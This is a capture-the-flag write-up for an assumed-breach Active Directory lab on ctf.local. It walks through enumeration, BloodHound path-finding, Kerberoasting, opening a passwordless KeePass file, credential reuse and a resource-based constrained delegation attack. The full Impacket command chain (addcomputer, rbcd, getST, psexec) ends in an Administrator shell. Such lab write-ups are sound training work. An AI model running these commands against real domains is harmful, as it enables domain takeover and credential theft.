Description#
You’re already in. The breach has been assumed, now it’s time to move forward. Navigate through a compromised Active Directory environment, move laterally through the domain, and escalate your way to full control. The question isn’t how you got in… it’s how far you can go.
USER > ctf.local\j.smith PASS > JSmith@IT2024Check the challenge here.
Solution#
Setup: I used
exegol free - v.3.1.14to solve this challenge.
Before starting, I would like to initialize my shell with the information we have so far (the credentials will be updated depending on which user is needed for each task):
export TUSER='j.smith'
export TPASS='JSmith@IT2024'
export DOMAIN='ctf.local'
export TARGET=10.81.135.51Enumeration#
Let’s do an nmap scan to see the open services:
nmap -sV -sC -p- $TARGET --privileged
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-11-04 08:59:51Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ctf.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ctf.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-11-04T09:01:20+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: CTF
| NetBIOS_Domain_Name: CTF
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ctf.local
| DNS_Computer_Name: DC01.ctf.local
| Product_Version: 10.0.17763
|_ System_Time: 2026-11-04T09:00:40+00:00
| ssl-cert: Subject: commonName=DC01.ctf.local
| Not valid before: 2026-11-03T08:46:20
|_Not valid after: 2027-05-05T08:46:20
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC
54598/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-11-04T09:00:42
|_ start_date: N/AThe machine seems to be a domain controller with the FQDN dc01.ctf.local. I will update /etc/hosts to make sure my machine resolves the names correctly:
10.81.135.51 dc01.ctf.local
10.81.135.51 ctf.localBefore running bloodhound, I would like to check the credentials with nxc and search SMB for useful information (low-hanging fruit):
nxc smb $TARGET -u $TUSER -p $TPASS | grep '[+]'
SMB 10.81.135.51 445 DC01 [+] ctf.local\j.smith:JSmith@IT2024 Credentials confirmed. Now, I will enumerate the SMB shares:
smbmap -H $TARGET -u $TUSER -p $TPASS
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
Downloads READ ONLY File drop share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share There is a read-only Downloads share, but it’s empty. Dead end. Back to bloodhound:
bloodhound.py --zip -c All -d $DOMAIN -u $TUSER -p $TPASS -ns $TARGET -dc "dc01.ctf.local"After importing the results, I checked the Shortest path to Domain Admins predefined query and found a way to reach the Domain Admins group through the user r.williams:

Pwning r.williams#
First, I want to enumerate all users in the domain to see which accounts we can inspect further. We can do that with bloodhound or nxc:
nxc smb $TARGET -u $TUSER -p $TPASS --users 
We get a nice list of users:
Administrator
Guest
krbtgt
j.smith
t.jones
r.williams
svc.helpdeskPwning svc.helpdesk - dead end#
In bloodhound, we find that svc.helpdesk is a Kerberoastable user:

We can request a TGS ticket for the account and try to crack it offline:
nxc ldap $TARGET -u $TUSER -p $TPASS --kerberoasting svc.helpdesk
I used Hashcat and rockyou.txt to crack the service account password, but I had no success.
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt 
Pwning t.jones#
By checking the members of the Remote Desktop Users group, I found that j.smith, t.jones, and r.williams are all members:

This allows us to connect to these users via RDP. I connected to the system using the breached credentials, and I began searching the user home directory (C:\Users\j.smith) for potential information:

We can see an interesting file, C:\Users\j.smith\Documents\Database.kdbx, which is a KeePass file containing a password database. We can open the file in KeePass 2:

After multiple failed attempts, I discovered that we can leave the Master password field empty and click OK to get access:

This reveals credentials for the t.jones account! We can verify them as well:

The final blow#
After attempting to find clues by connecting to the t.jones account, the breakthrough came when I tried to see if the credentials were reused by any other account. We can check each discovered user against the passwords we have so far and see if we get more matches:
nxc smb $TARGET -u users.txt -p pass.txt --continue-on-success | grep '[+]'
And we get a match for r.williams!
Becoming Administrator#
Now that we have pwned r.williams, let’s get back to bloodhound and see how to reach the Administrator account.

Apparently, r.williams is allowed to modify msDS-AllowedToActOnBehalfOfOtherIdentity on DC01. This means we can add an account to the list of principals that DC01 will allow to access its services on behalf of other users.
But in order to abuse this, we need an account that has an SPN. Neither r.williams nor the other users we pwned have one. This is required to use the S4U2self/S4U2proxy process. To get an account with an SPN, we can try to create a computer account and add it to the list.
Next are the steps suggested by BloodHound’s Linux abuse recommendation, adapted to my environment.
We can use Impacket’s addcomputer.py to try to create a computer account:
addcomputer.py -method SAMR -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $TARGET -domain-netbios "CTF" "$DOMAIN/$TUSER:$TPASS"
Successful! Now we can use our privilege to modify msDS-AllowedToActOnBehalfOfOtherIdentity and add the newly created account to the list:
rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'DC01$' -action 'write' "$DOMAIN/$TUSER:$TPASS" -debug -dc-ip $TARGET
Using that new account, we can now request a TGS for the CIFS service on DC01 on behalf of Administrator:
getST.py -spn "cifs/dc01.$DOMAIN" -impersonate 'Administrator' 'ctf.local/attackersystem$:Summer2018!' -dc-ip $TARGET
That’s it! We can now spawn a shell as Administrator and read the flag:
export KRB5CCNAME="/path/to/your/ccache"
psexec.py "Administrator"@dc01.ctf.local -k -no-pass

